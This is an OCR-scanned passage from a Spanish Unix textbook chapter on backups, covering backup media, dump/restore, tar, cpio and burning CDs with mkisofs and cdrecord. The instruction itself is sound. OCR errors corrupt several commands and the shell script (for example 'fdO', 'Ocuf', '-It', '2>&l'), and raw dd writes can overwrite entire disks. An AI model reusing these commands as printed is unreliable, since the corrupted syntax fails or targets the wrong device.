Un diskette puede utilizarse creando en el un sistema de ficheros, montandolo bajo un directo- 
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rio, y copiando en los archivos a guardar. Por ejemplo, podemos hacer un backup de nuestro fichero 
de claves en un disco flexible de esta forma. 

luisa: ~# mkfs -t ext2 /dev/fdO 

mke2f s 1.14, 9-Jan-1999 for EXT2 FS 0.5b, 95/08/09 
Linux ext2 filesystem format 
Filesystem label= 

360 inodes, 1440 blocks 

72 blocks (5.00%) reserved for the super user 
First data block=l 
Block size=1024 (log=0) 

Fragment size=1024 (log=0) 

1 block group 

8192 blocks per group, 8192 fragments per group 
360 inodes per group 

Writing inode tables: done 

Writing superblocks and filesystem accounting information: done 

luisa:~# mount -t ext2 /dev/fdO /mnt/ 

luisa: ~# cp /etc/passwd /mnt/ 

luisa: ~# umount /mnt/ 

luisa: ~# 

Si quisieramos recuperar el archivo, no tendrfamos mas que montar de nuevo el diskette y copiar 
el fichero en su ubicacion original. No obstante, este uso de los discos flexibles es minoritario; es 
mas habitual utilizarlo como un dispositivo secuencial (como una cinta), sin crear en el sistemas 
de ficheros - que quizas son incompatibles entre diferentes clones de Unix - sino accediendo direc- 
tamente al dispositivo. Por ejemplo, si de nuevo queremos hacer un backup de nuestro fichero de 
passwords, pero siguiendo este modelo de trabajo, podemos utilizar la orden tar (comentada mas 
adelante) para conseguirlo: 

luisa: ~# tar cvf /dev/fdO /etc/passwd 

tar: Removing leading ‘ / ’ from absolute path names in the archive 

etc/passwd 

luisa: ~# 

Para recuperar ahora el archivo guardado, volvemos a utilizar la orden tar indicando como conte- 
nedor la unidad de disco correspondiente: 

luisa: ~# tar xvf /dev/fdO 

etc/passwd 

luisa: ~# 

Discos duros 

Es posible utilizar una unidad de disco duro completa (o una particion) para realizar copias de se- 
guridad; como sucedfa con los discos flexibles, podemos crear un sistema de ficheros sobre la unidad 
o la particion correspondiente, montarla, y copiar los ficheros que nos interese guardar en ella (o 
recuperarlos) . De la misma forma, tambien podemos usar la unidad como un dispositivo secuencial 
y convertirlo en un contenedor tar o cpio; en este caso hemos de estar muy atentos a la hora de 
especificar la unidad, ya que es muy facil equivocarse de dispositivo y machacar completamente la 
information de un disco complete (antes tambien podia suceder, pero ahora la probabilidad de error 
es mas alta). Por ejemplo, si en lugar del nombre del dispositivo correcto (supongamos /dev/hdc) 
especificamos otro (como / dev/hdd), estaremos destruyendo la information guardada en este ultimo. 

Algo muy interesante en algunas situaciones es utilizar como dispositivo de copia un disco duro 
identico al que esta instalado en nuestro sistema, y del que deseamos hacer el backup ; en este caso 
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es muy sencillo hacer una copia de seguridad completa. Imaginemos por ejemplo que /dev/hda 
y /dev/hdc son dos discos exactamente iguales; en este caso, si queremos conseguir una imagen 
especular del primero sobre el segundo, no tenemos mas que utilizar la orden dd con los parametros 
adecuados: 

luisa:~# dd if=/dev/hda of=/dev/hdc bs=2048 
1523+0 records in 
1523+0 records out 
luisa: ~# 

Cintas magneticas 

Las cintas magneticas han sido durante aiios (y siguen siendo en la actualidad) el dispositivo de bac- 
kup por excelencia. Las mas antiguas, las cintas de nueve pistas, son las que mucha gente imagina 
al hablar de este medio: un elemento circular con la cinta enrollada en el; este tipo de dispositivos 
se utilizo durante mucho tiempo, pero en la actualidad esta en desuso, ya que a pesar de su alta 
fiabilidad y su relativa velocidad de trabajo, la capacidad de este medio es muy limitada (de hecho, 
las mas avanzadas son capaces de almacenar menos de 300 MB., algo que no es suficiente en la 
mayor parte de sistemas actuales). 

Despues de las cintas de 9 pistas aparecieron las cintas de un cuarto de pulgada (denominadas 
QIC), mucho mas pequehas en tamaho que las anteriores y con una capacidad maxima de varios 
Gigabytes (aunque la mayor parte de ellas almacenan menos de un Giga)\ se trata de cintas mas 
baratas que las de 9 pistas, pero tambien mas lentas. El medio ya no va descubierto, sino que va 
cubierto de una envoltura de plastico. 

A finales de los ochenta aparece un nuevo modelo de cinta que relego a las cintas QIC a un se- 
gundo piano y que se ha convertido en el medio mas utilizado en la actualidad: se trata de las 
cintas de 8mm., disenadas en su origen para almacenar video. Estas cintas, del tamaho de una 
cassette de audio, tienen una capacidad de hasta cinco Gigabytes , lo que las hace perfectas para la 
mayona de sistemas: como toda la informacion a salvaguardar cabe en un mismo dispositivo, el 
operador puede introducir la cinta en la unidad del sistema, ejecutar un sencillo shellscript, y dejar 
que el backup se realice durante toda la noche; al dfa siguiente no tiene mas que verificar que no 
ha habido errores, retirar la cinta de la unidad, y etiquetarla correctamente antes de guardarla. De 
esta forma se consigue que el proceso de copia de seguridad sea sencillo y efectivo. 

No obstante, este tipo de cintas tiene un grave inconveniente: como hemos dicho, originalmen- 
te estaban disenadas para almacenar video, y se basan en la misma tecnologfa para registrar la 
informacion. Pero con una importante diferencia ([P + 94]): mientras que perder unos bits de la cin- 
ta donde hemos grabado los mejores momentos de nuestra ultima fiesta no tiene mucha importancia, 
si esos mismos bits los perclemos de una cinta de backup el resto de su contenido puede resultar inser- 
vible. Es mas, es probable que despues de unos cuantos usos (incluidas las lecturas) la cinta se clane 
irreversiblemente. Para intentar solucionar estos problemas aparecieron las cintas DAT, de 4mm., 
disenadas ya en origen para almacenar datos; estos dispositivos, algo mas pequenos que las cintas 
de 8mm. pero con una capacidad similar, son el mejor sustituto de las cintas antiguas: son mucho 
mas resistentes que estas, y ademas relativamente baratas (aunque algo mas caras que las de 8mm.). 

Hemos dicho que en las cintas de 8mm. (y en las de 4mm.) se pueden almacenar hasta 5 GB. 
de informacion. No obstante, algunos fabricantes anuncian capacidades de hasta 14 GB. utilizando 
compresion hardware, sin dejar muy claro si las cintas utilizadas son estandar o no ( [Fri95] ) ; evi- 
dentemente, esto puede llevarnos a problemas de los que antes hemos comentado: ique sucede si 
necesitamos recuperar datos y no disponemos de la unidad lectora original? Es algo vital que nos 
aseguremos la capacidad de una facil recuperation en caso de perdida de nuestros datos (este es 
el objetivo de los backups al fin y al cabo), por lo que quizas no es conveniente utilizar esta com- 
presion hardware a no ser que sea estrictamente necesario y no hayamos podido aplicar otra solution. 
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Dispositivo 

Fiabilidad 

Capacidad 

Coste/MB 

Diskette 

Baja 

Baja 

Alto 

CD-ROM 

Media 

Media 

Bajo 

Disco duro 

Alta 

Media/ Alt a 

Medio. 

Cinta 8mm. 

Media 

Alta 

Medio. 

Cinta DAT 

Alta 

Alta 

Medio. 


Tabla 7.1: Comparacion de diferentes medios de almacenamiento secundario. 


CD-ROMs 

En la actualidad solo se utilizan cintas magneticas en equipos antiguos o a la hora de almacenar 
grandes cantidades de datos - del orden de Gigabytes. Hoy en dia, muchas maquinas Unix poseen 
unidades grabadoras de CD-ROM, un hardware barato y, lo que es mas importante, que utiliza 
dispositivos de muy bajo coste y con una capacidad de almacenamiento suficiente para muchos sis- 
temas: con una unidad grabadora, podemos almacenar mas de 650 Megabytes en un CD-ROM que 
cuesta menos de 150 pesetas. Por estos motivos, muchos administradores se decantan por realizar 
sus copias de seguridad en uno o varios CD-ROMs; esto es especialmente habitual en estaciones de 
trabajo o en PCs de sobremesa corriendo algiin cion de Unix (Linux, Solaris o FreeBSD por regia 
general), donde la cantidad de datos a salvaguardar no es muy elevada y se ajusta a un par de 
unidades de CD, cuando no a una sola. 

En el punto 7.3.4 se comenta el mecanismo para poder grabar en un CD-ROM; aunque los ejemplos 
que comentaremos son basicos, existen multitud de posibilidades para trabajar con este medio. 
Por ejemplo, podemos utilizar dispositivos CD-RW, similares a los anteriores pero que permiten 
borrar la information almacenada y volver a utilizar el dispositivo (algo muy util en situaciones 
donde reutilizamos uno o varios juegos de copias), o utilizar medios con una mayor capacidad de 
almacenamiento (CD-ROMs de 80 minutos, capaces de almacenar hasta 700 MB.); tambien es muy 
litil lo que se conoce como la grabacion multisesion, algo que nos va a permitir ir actualizando 
nuestras copias de seguridad con nuevos archivos sin perder la information que habiamos guardado 
previamente. 


7.3 Algunas ordenes para realizar copias de seguridad 

Aunque muchos clones de Unix ofrecen sus propias herramientas para realizar copias de seguridad 
de todo tipo (por ejemplo, tenemos mksysb y savevg/restvg en AIX, f backup y f recover en 
HP-UX, bru en IRIX, f sphoto en SCO Unix, uf sdump/uf srestore en Solaris. . . ), casi todas estas 
herramientas suelen presentar un grave problema a la hora de recuperar archivos: se trata de soft- 
ware propietario, por lo que si queremos restaurar total o parcialmente archivos almacenados con 
este tipo de programas, necesitamos el propio programa para hacerlo. En determinadas situaciones, 
esto no es posible o es muy dificil: imaginemos un departamento que dispone de solo una estacion 
Silicon Graphics corriendo IRIX y pierde todos los datos de un disco, incluida la utilidad bru; si ha 
utilizado esta herramienta para realizar backups, necesitara otra estacion con el mismo operativo 
para poder restaurar estas copias, lo que obviamente puede ser problematico. 

Por este motivo, muchos administradores utilizan herramientas estandar para realizar las copias 
de seguridad de sus maquinas; estas herramientas suelen ser tan simples como un shellscript que se 
planifica para que automaticamente haga backups utilizando ordenes como tar o cpio, programas 
habituates en cualquier cion de Unix y que no presentan problemas de interoperabilidad entre dife- 
rentes operativos. De esta forma, si en la estacion Silicon Graphics del ejemplo anterior se hubiera 
utilizado tar para realizar las copias de seguridad, estas se podrian restaurar sin problemas desde 
una maquina SPARC corriendo Solaris, y transferir los ficheros de nuevo a la Silicon. 
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7.3.1 dump/restore 

La herramienta clasica para realizar backups en entornos Unix es desde hace anos dump, que vuelca 
sistemas de ficheros completos (una particion o una partition virtual en los sistemas que las so- 
portan, como Solaris); restore se utiliza para recuperar archivos de esas copias. Se trata de una 
utilidad disponible en la mayoria de clones del sistema operativo 1 , potente (no diremos ‘sencilla’) y 
lo mas importante: las copias son completamente compatibles entre Unices, de forma que por ejem- 
plo podemos restaurar un backup realizado en IRIX en un sistema HP-UX. Ademas, como veremos 
luego, la mayor parte de las versiones de dump permiten realizar copias de seguridad sobre maquinas 
remotas directamente desde linea de ordenes (en el caso que la variante de nuestro sistema no lo 
permita, podemos utilizar rdump/rrestore) sin mas que indicar el nombre de maquina precediendo 
al dispositivo donde se ha de realizar la copia. 

La sintaxis general de la orden dump es 

dump opciones argumentos fs 

donde ‘opciones’ son las opciones de la copia de seguridad, ‘argumentos’ son los argumentos 
de dichas opciones, y ‘fs’ es el sistema de ficheros a salvaguardar. Se trata de una sintaxis algo 
peculiar: mientras que lo habitual en Unix es especificar cada argumento a continuation de la op- 
tion adecuada (por ejemplo, ‘find . -perm 700 -type f’ indica un argumento ‘700’ para la 
option ‘perm’ y uno ‘f ’ para ‘type’), en la orden dump primero especificamos toda la lista de 
opciones y a continuation todos sus argumentos; no todas las opciones necesitan un argumento, y 
ademas la lista de argumentos tiene que corresponderse exactamente, en orden y numero, con las 
opciones que los necesitan (por ejemplo, si ‘find’ tuviera una sintaxis similar, la orden anterior se 
habria tecleado como ‘find . -perm -type 700 f’). AIX y Linux son los unicos Unices donde 
la sintaxis de dump (recordemos que en el primero se clenomina backup) es la habitual. 

Las opciones de ‘dump’ mas utilizadas son las que se muestran en la tabla 7.2; en las paginas 
man de cada cion de Unix se suelen incluir recomendaciones sobre parametros especificos para 
modelos de cintas determinados, por lo que como siempre es mas que recomendable su consulta. 
Fijandonos en la tabla, podemos ver que la option ‘u’ actualiza el archivo /etc/dumpdates tras 
realizar una copia de seguridad con exito; es conveniente que este archivo exista antes de utilizar 
dump por primera vez (podemos crearlo con la orden touch), ya que si no existe no se almacenara 
information sobre las copias de seguridad de cada sistema de ficheros (information necesaria, por 
ejemplo, para poder realizar backups progresivos) . En este archivo dump - la propia orden lo hace, 
el administrador no necesita modificar el archivo a mano. . . y no clebe lracerlo - registra information 
de las copias de cada sistema de archivos, su nivel, y la fecha de realization, de forma que su aspecto 
puede ser similar al siguiente: 

anita: ~# cat /etc/dumpdates 

/dev/dsk/ c0d0s6 0 Thu Jun 22 05:34:20 CEST 2000 

/dev/dsk/ c0d0s7 2 Wed Jun 21 02:53:03 CEST 2000 

anita: ~# 

El uso de dump puede ser excesivamente complejo, especialmente en sistemas antiguos donde es 
incluso necesario especificar la densidad de la cinta en bytes por pulgada o su longitud en pies; 
no obstante, hoy en dfa la forma mas habitual de invocar a esta orden es ‘dump [1-9] ucf cinta 
fs’, es decir, una copia de seguridad del sistema de ficheros recibido como argumento, de un 
determinado nivel y sobre la unidad de cinta especificada. Por ejemplo para realizar una copia de 
seguridad completa sobre la unidad de cinta /dev/rmt de la particion logica /dev/dsk/c0d0s7, en 
Solaris podemos utilizar la orden siguiente (podemos ver que nos muestra mucha information sobre 
el progreso de nuestra copia de seguridad en cada momento) : 

anita: ~# ufsdump Ocuf /dev/rmt /dev/dsk/c0d0s7 

HP-UX, IRIX, SunOS, Linux. . .en Solaris se llama ufsdump y en AIX backup. 
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Opcion 

Accion realizada 

Argumento 

0-9 

Nivel de la copia de seguridad 

NO 

u 

Actualiza /etc/dumpdates al finalizar el backup 

NO 

f 

Indica una cinta diferente de la usada por defecto 

si 

b 

Tamano de bloque 

si 

c 

Indica que la cinta destino es un cartucho 

NO 

w 

Ignora todas las opciones excepto el nivel del backup 

NO 


Tabla 7.2: Opciones de la orden dump 


DUMP: Date of this level 0 dump: Thu Jun 22 10:03:28 2000 

DUMP: Date of last level 0 dump: the epoch 

DUMP: Dumping /dev/dsk/c0d0s7 (/export/home) to /dev/rmt 
DUMP: mapping (Pass I) [regular files] 

DUMP: mapping (Pass II) [directories] 

DUMP: estimated 24523 blocks (118796KB) 

DUMP: Writing 63 Kilobyte records 
DUMP: dumping (Pass III) [directories] 

DUMP: dumping (Pass IV) [regular files] 

DUMP: level 0 dump on Thu Jun 22 10:05:31 CEST 2000 
DUMP: 24550 blocks (118927KB) on 1 volume 
DUMP: DUMP IS DONE 
anita: ~# 

Para realizar copias remotas, como hemos dicho antes, no tenemos mas que anteponer el nombre 
del sistema donde deseemos realizar el volcado al nombre del dispositivo donde se va a almacenar, 

separado de este por el caracter ‘ : ’ : opcionalmente se puede indicar el nombre de usuario en el 

sistema remoto, separandolo del nombre de maquina por ‘ @ ’ : 

anita: ~# ufsdump Ocuf toniOluisa: /dev/stO /dev/dsk/c0d0s7 

Si estamos utilizando rdump, hemos de tener definido un nombre de maquina denominado 
‘dumphost’ en nuestro archivo /etc/hosts, que sera el sistema donde se almacene la copia remo- 
ta. De cualquier forma (usemos dump, ufsdump o rdump), el host remoto ha de considerarnos como 
una maquina de confianza (a traves de /etc/hosts . equiv o .rhosts), con las consideraciones de 
seguridad que esto implica. 

^Como restaurar los backups realizados con dump? Para esta tarea se utiliza la utiliclad restore 
(ufsrestore en Solaris), capaz de extraer ficheros individuales, directories o sistemas de archivos 
completos. La sintaxis de esta orden es 

restore opciones argumentos archivos 

donde ‘opciones’ y ‘argumentos’ tienen una forma similar a ‘dump’ (es decir, toda la lista de 
opciones seguida de toda la lista de argumentos de las mismas, excepto en AIX y Linux, donde la 
notacion es la habitual), y ‘archivos’ evidentemente representa una lista de directories y ficheros 
para restaurar. En la tabla 7.3 se muestra un resumen de las opciones mas utilizadas. Por ejemplo, 
imaginemos que deseamos restaurar varios archivos de un backup guardado en el fichero ‘ backup ’ ; 
en primer lugar podemos consultar el contenido de la cinta con una orden como la siguiente (en 
Linux) : 

luisa: ~# restore -t -f backup>contenido 
Level 0 dump of /home on luisa: /dev/hda3 
Label : none 

luisa: ~# cat contenido I more 
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Accion realizada 
Restaura la cinta completa 
Indica el dispositivo o archivo donde esta el backup 
Modo interactive 

Extrae los archives y directories desde el directorio actual 
Imprime los nombres de los archivos de la cinta 


Tabla 7.3: Opciones de la orden restore 


Dump date: Fri Jun 23 06:01:26 2000 
Dumped from: the epoch 
2 


11 

. /lost+f ound 

30761 

. /lost+f ound/#30761 

30762 

. /lost+f ound/#30762 

30763 

. /lost+f ound/#30763 

30764 

. /lost+f ound/#30764 

30765 

. /lost+f ound/#30765 

30766 

. /lost+f ound/#30766 

30767 

. /lost+f ound/#30767 

4097 

. /ftp 

8193 

. /ftp/bin 

8194 

. /ftp/bin/ compress 

8195 

. /ftp/bin/ cpio 

8196 

. /ftp/bin/ gzip 

8197 

. /ftp/bin/ls 

8198 

. /ftp/bin/ sh 

8199 

. /ftp/bin/tar 

8200 

. /ftp/bin/zcat 

12289 

. /ftp/etc 

12290 

. /ftp/etc/group 


Broken pipe 
luisa: ~# 

Una vez que conocemos el contenido de la copia de seguridad - y por tanto el nombre del archivo 
o archivos a restaurar podemos extraer el fichero que nos interese con una orden como 

luisa: ~# restore -x -f backup ./ftp/bin/tar 
You have not read any tapes yet. 

Unless you know which volume your file(s) are on you should start 
with the last volume and work towards the first. 

Specify next volume #: 1 

set owner/mode for [yn] n 

luisa: ~# Is -1 ftp/bin/tar 

x — x — x 1 root root 110668 Mar 21 1999 ftp/bin/tar 

luisa: ~# 

Como podemos ver, la extraction se ha realizado a partir del directorio de trabajo actual; si qui- 
sieramos extraer archivos en su ubicacion original deberiamos hacerlo desde el directorio adecuado, 
o, en algunas versiones de restore, especificar dicho directorio en la linea de orclenes. 


Una opcion muy interesante ofrecida por restore es la posibilidad de trabajar en modo interactive, 
mediante la opcion ‘ i ’ ; en este modo, al usuario se le ofrece un prompt desde el cual puede, por 
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ejemplo, listar el contenido de una cinta, cambiar de directorio de trabajo o extraer archivos. El 
siguiente ejemplo (tambien sobre Linux) ilustra esta opcion: 

luisa:~# restore -i -f backup 
restore > help 
Available commands are : 

Is [arg] - list directory 
cd arg - change directory 
pwd - print current directory 

add [arg] - add ‘arg’ to list of files to be extracted 
delete [arg] - delete ‘arg’ from list of files to be extracted 
extract - extract requested files 
setmodes - set modes of requested directories 
quit - immediately exit program 
what - list dump header information 
verbose - toggle verbose flag (useful with ‘‘Is’’) 
help or ‘ ? ’ - print this list 
If no ‘arg’ is supplied, the current directory is used 
restore > Is 

ftp/ httpd/ httpsd/ lost+found/ samba/ toni/ 

restore > add httpd 

restore > extract 

You have not read any tapes yet. 

Unless you know which volume your file(s) are on you should start 
with the last volume and work towards the first. 

Specify next volume #: 1 
set owner/mode for ’.’? [yn] n 
restore > quit 
luisa: ~# 

Como podemos ver, hemos consultado el contenido de la copia de seguridad, ahadido el directorio 
httpd/ a la lista de ficheros a extraer (inicialmente vacia), y extraido dicho directorio a partir del 
actual. Este uso de restore proporciona una gran comodidad y facilidad de uso, ya que las ordenes 
en modo interactive son muy sencillas. 

7.3.2 La orden tar 

La utilidad tar (Tape Archiver) es una herramienta de facil manejo disponible en todas las versio- 
nes de Unix que permite volcar ficheros individuates o directories completos en un unico fichero; 
inicialmente fue disehada para crear archivos de cinta (esto es, para transferir archivos de un disco 
a una cinta magnetica y viceversa), aunque en la actualidad casi todas sus versiones pueden utili- 
zarse para copiar a cualquier dipositivo o fichero, denominado ‘contenedor’. Su principal desventaja 
es que, bajo ciertas condiciones, si falla una porcion del medio (por ejemplo, una cinta) se puede 
perder toda la copia de seguridad; ademas, tar no es capaz de realizar por si mismo mas que copias 
de seguridad completas, por lo que hace falta un poco de programacion shellscripts para realizar 
copias progresivas o diferenciales. 

En la tabla 7.4 se muestran las opciones de tar mas habituates; algunas de ellas no estan dis- 
ponibles en todas las versiones de tar, por lo que es recomendable consultar la pagina del manual 
de esta orden antes de utilizarla. Si la implementation de tar que existe en nuestro sistema no se 
ajusta a nuestras necesidades, siempre podemos utilizar la version de GNU (http : //www . gnu . org/), 
quizas la mas completa hoy en dia. En primer lugar debemos saber como crear contenedores con los 
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Opcion 

Action realizada 

c 

Crea un contenedor 

X 

Extrae archivos de un contenedor 

t 

Testea los archivos almacenados en un contenedor 

r 

Anade archivos al final de un contenedor 

V 

Modo verbose 

f 

Especifica el nombre del contenedor 

z 

Comprime o descomprime mediante compress/uncompress 

Z 

Comprime o descomprime mediante gzip 

p 

Conserva los permisos de los ficheros 


Tabla 7.4: Opciones de la orden tar 


archivos deseados; por ejemplo, imaginemos que deseamos volcar todo el directorio /export/home/ 
a la unidad de cinta /dev/rmt/0. Esto lo conseguimos con la siguiente orden: 

anita: ~# tar cvf /dev/rmt/0 /export/home/ 

Como podemos ver, estamos especificando juntas las diferentes opciones necesarias para hacer la 
copia de seguridad de los directories de usuario; la opcion ' v ’ no seria necesaria, pero es litil para 
ver un listado de lo que estamos almacenando en la cinta. En muchas situaciones tambien resulta 
litil comprimir la information guardada (tar no comprime, solo empaqueta); esto lo conseguiriamos 
con las opciones 1 cvzf ’ . 


Si en lugar de (o aparte de) un unico directorio con todos sus ficheros y subdirectories quisieramos 
especificar multiples archivos (o directories), podemos indicarselos uno a uno a tar en la lfnea de 
comandos; asi mismo, podemos indicar un nombre de archivo contenedor en lugar de un dispositivo. 
Por ejemplo, la siguiente orden creara el fichero /tmp/backup . tar, que contendra /etc/passwd y 
/etc/hosts*: 

anita: ~# tar cvf /tmp/backup . tar /etc/passwd /etc/hosts* 

tar: Removing leading ‘/’ from absolute path names in the archive 

etc/passwd 

etc/hosts 

etc/hosts . allow 

etc/hosts . deny 

etc/hosts . equiv 

anita: ~# 


Una vez creado el contenedor podemos testear su contenido con la opcion ' t ’ para comprobar la 
integridad del archivo, y tambien para ver que ficheros se encuentran en su interior: 


anita: ~# tar tvf /tmp/backup . tar 


-rw-r — r — root/other 
-rw-r — r — root/other 
-rw-r — r — root/other 
-rw-r — r — root/other 
-rw-r — r — root/other 
-rw-r — r — root/other 
anita: ~# 


965 2000-03-11 03:41 
704 2000-03-14 00:56 
449 2000-02-17 01:48 
305 1998-04-18 07:05 
313 1994-03-16 03:30 
345 1999-10-13 03:31 


etc/passwd 
etc/hosts 
etc/hosts . allow 
etc/hosts . deny 
etc/hosts . equiv 
etc/hosts . lpd 


Si lo que queremos es recuperar ficheros guardados en un contenedor utilizaremos las opciones 
‘xvf 1 (o ‘xvzf ’ si hemos utilizado compresion con gzip a la hora de crearlo). Podemos indicar el 
archivo o archivos que queremos extraer; si no lo hacemos, se extraeran todos: 
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Option 

Action realizada 

o 

Copiar ‘fuera’ (out) 

i 

Copiar ‘dentro’ (in) 

m 

Conserva fecha y hora de los ficheros 

t 

Crea tabla de contenidos 

A 

Anade ficheros a un contenedor existente 

V 

Modo verbose 


Tabla 7.5: Opciones de la orden cpio. 


anita:~# tar xvf /tmp/backup . tar etc/passwd 
etc/passwd 

anita: ~# tar xvf /tmp/backup . tar 

etc/passwd 

etc/hosts 

etc/hosts . allow 

etc/hosts . deny 

etc/hosts . equiv 

etc/hosts . lpd 

anita: ~# 

La restauracion se habra realizado desde el directorio de trabajo, creando en el un subdirectorio 
etc con los ficheros correspondientes en su interior. Si queremos que los ficheros del contenedor 
sobreescriban a los que ya existen en el sistema hemos de desempaquetarlo en el directorio adecuado, 
en este caso el raiz. 

7.3.3 La orden cpio 

cpio ( Copy In/ Out) es una utilidad que permite copiar archivos a o desde un contenedor cpio , que 
no es mas que un fichero que almacena otros archivos e information sobre ellos (permisos, nombres, 
propietario. . . ). Este contenedor puede ser un disco, otro archivo, una cinta o incluso una tuberfa, 
mientras que los ficheros a copiar pueden ser archivos normales, pero tambien dispositivos o siste- 
mas de ficheros completos. 

En la tabla 7.5 se muestran las opciones de cpio mas utilizadas; la sintaxis de esta orden es 
bastante mas confusa que la de tar clebido a la interpretation de lo que cpio entiende por ‘dentro’ 
y ‘fuera copiar ‘fuera ’ es generar un contenedor en salida estandar (que con toda probabilidad 
desearemos redireccionar) , mientras que copiar ‘dentro' e s lo contrario, es decir, extraer archivos de 
la entrada estandar (tambien es seguro que deberemos redireccionar la) . 

Por ejemplo, si deseamos copiar los archivos de /export/home/ en el fichero contenedor 
/tmp/backup . cpio podemos utilizar la siguiente sintaxis: 

anita: ~# find /export/home/ I cpio -o > /tmp/backup . cpio 

Como podemos ver, cpio lee la entrada estandar esperando los nombres de ficheros a guardar, por 
lo que es conveniente utilizarlo tras una tuberia pasandole esos nombres de archivo. Ademas, hemos 
de redirigir su salida al nombre que queramos asignarle al contenedor, ya que de lo contrario se 
mostraria el resultado en salida estandar (lo que evidentemente no es muy utilizado para realizar 
backups). Podemos hjarnos tambien en que estamos usando la orden ‘find’ en lugar de un simple 
‘Is’: esto es debido a que ‘Is’ mostraria solo el nombre de cada fichero (por ejemplo, ‘passwd’) 
en lugar de su ruta completa (‘/etc/passwd’), por lo que cpio buscarfa dichos ficheros a partir 
del directorio actual. 
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Una vez creado el fichero contenedor quizas resulte interesante chequear su contenido, con la opcion 
‘t’. Por ejemplo, la siguiente orden mostrara en pantalla el contenido de /tmp/backup . cpio: 

anita:~# cpio -t < /tmp/backup . cpio 

Igual que para almacenar ficheros en un contenedor hemos de pasarle a cpio la ruta de los mismos, 
para extraerlos hemos de hacer lo mismo; si no indicamos lo contrario, cpio -i extraera todos los 
archivos de un contenedor, pero si solo nos interesan algunos de ellos podemos especificar su nombre 
de la siguiente forma: 

anita:~# echo " /export /home/toni/hola. tex" I cpio -i </tmp/backup . cpio 

Para conocer mas profundamente el funcionamiento de cpio, asi como opciones propias de cada 
implementation, es indispensable consultar la pagina del manual de esta orden en cada cion de 
Unix donde vayamos a utilizarla. 

7.3.4 Backups sobre CD-ROM 

Como antes hemos dicho, cada vez es mas comun que se realicen copias de seguridad sobre discos 
compactos; en estos casos no se suelen utilizar las aplicaciones vistas hasta ahora (tar o cpio), 
sino que se necesita un software dedicado: aquf vamos a comentar las nociones mas basicas para 
poder crear backups sobre este medio. Para poder grabar una copia de seguridad en un CD-ROM 
necesitamos en primer lugar que el niicleo del sistema operativo reconozca nuestra grabadora como 
tal; si se trata de una IDE, y dependiendo del cion de Unix utilizado, quizas sea necesario modificar 
el kernel, ya que el acceso que los diferentes programas realizan al dispositivo se efectua a traves de 
un interfaz SCSI del nucleo. Es necesario consultar la documentation y la lista de compatibilidad 
hardware para cada Unix particular. 

Si asumimos que el reconocimiento del dispositivo es correcto, lo que necesitamos a continuation es 
software capaz de grabar un CD-ROM. Por un lado es necesario un programa para crear imagenes 
ISO, el ‘molde’ de lo que sera el futuro CD-ROM; el mas conocido es sin cluda mkisofs. Ademas 
necesitaremos un programa para realizar lo que es la grabacion en si, como cdrecord. De esta for- 
ma lo primero que generaremos es una imagen de los ficheros a grabar, imagen que a continuation 
pasaremos al CD-ROM; por ejemplo, si queremos hacer un backup de /export/home/, en primer 
lugar utilizaremos mkisofs para crear una imagen con todos los ficheros y subdirectories de los 
usuarios: 

anita:~# mkisofs -a -R -1 -o /mnt/ imagen. iso /export/home/ 

Con esta orden hemos creado una imagen ISO denominada /mnt/ imagen . iso y que contiene toda la 
estructura de directories por debajo de /export/home/; con las diferentes opciones hemos indicado 
que se almacenen todos los ficheros, que se sigan los enlaces simbolicos y que se registre ademas 
information sobre los permisos de cada archivo. Una vez que tenemos esta imagen (que en los Unices 
con soporte para sistemas de ficheros loop podremos montar como si se tratara de una partition, 
para ahadir, borrar, modificar. . .ficheros antes de la grabacion) hemos de pasarla a un CD-ROM, 
por ejemplo mediante cdrecord: 

anita:~# cdrecord dev=0,l,0 fs=16m /mnt /imagen . iso 

Con esta orden le hemos indicado al sistema la ubicacion de nuestra grabadora, asi como un buffer 
de grabacion de 16MB y tambien la ubicacion de la imagen ISO. 

Algo muy interesante es la posibilidad de grabar sin necesidad de crear primero imagenes con 
los ficheros que queremos meter en un CD-ROM; esto nos ahorrara tiempo (y sobre todo, espacio 
en disco) a la hora de realizar copias de seguridad, ademas de permitir una mayor automatization 
del proceso. Para ello, clebemos calcular con mkisofs el espacio que ocupan los ficheros a grabar 
(con la opcion ‘-print-size’), y posteriormente pasarle este valor a cdrecord; podemos hacerlo 
de forma automatica, por ejemplo tal y como muestra el siguiente programa: 
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anita:~# cat 'which graba-cd' 

# ! /bin/ sh 

# Vuelca el directorio pasado como parametro, y todos sus descendientes , 

# en un CD-ROM 

MKISOFS=/usr/local/bin/mkisof s 
CDRECORD=/usr /local/bin/ cdrecord 
if (test $# -It 1); then 

echo "Usage: $0 /files" 
exit 
fi 

size=‘$MKIS0FS -r -J -1 -print-size -f $1 2>&l|tail -llawk ’{print $8]-’' 
nice —20 $MKIS0FS -r -J -1 -f $1 I nice —20 $CDREC0RD dev=0,l,0 fs=16m\ 
tsize=$size*2048 -eject - 
anita: ~# 

Como vemos, se asigna el tamaho cle los datos a grabar a la variable ‘size’, y despues se pasa 
este numero a cdrecord; de esta forma, para realizar una copia de seguridad de un directorio 
como /export /home /toni/, no tenemos mas que ejecutar el shellscript pasandole el nombre de 
este directorio como parametro. 

7.4 Politicas de copias de seguridad 

La forma mas elemental de realizar una copia de seguridad consiste simplemente en volcar los 
archivos a salvaguardar a un dispositivo de backup, con el procedimiento que sea; por ejemplo, si 
deseamos guardar todo el contenido del directorio /export/home/, podemos empaquetarlo en un 
archivo, comprimirlo y a continuation almacenarlo en una cinta: 

anita: ~# tar cf backup. tar /export/home/ 

anita: ~# compress backup. tar 

anita: ~# dd if=backup.tar .Z of=/dev/rmt/0 

Si en lugar de una cinta quisieramos utilizar otro disco cluro, por ejemplo montado en /mnt/, 
podemos simplemente copiar los ficheros deseados: 

anita: ~# cp -rp /export/home/ /mnt/ 

Esta forma de realizar backups volcando en el dispositivo de copia los archivos o directories deseados 
se denomina copia de seguridad completa o de nivel 0. Unix utiliza el concepto de nivel de copia 
de seguridad para distinguir diferentes tipos de backups : una copia de cierto nivel almacena los 
archivos modificados clesde el ultimo backup de nivel inferior. Asi, las copias completas son, por 
definition, las de nivel 0; las copias de nivel 1 guardan los archivos modificados desde la ultima 
copia de nivel 0 (es decir, desde el ultimo backup completo), mientras que las de nivel 2 guardan 
los archivos modificados desde la ultima copia de nivel 1, y asf sucesivamente (en realidad, el nivel 
maximo utilizado en la practica es el 2). 

Como hemos dicho, las copias completas constituyen la politica mas basica para realizar backups, y 
como todas las politicas tiene ventajas e inconvenientes; la principal ventaja de las copias completas 
es su facilidad de realization y, dependiendo del mecanismo utilizado, la facilidad que ofrecen para 
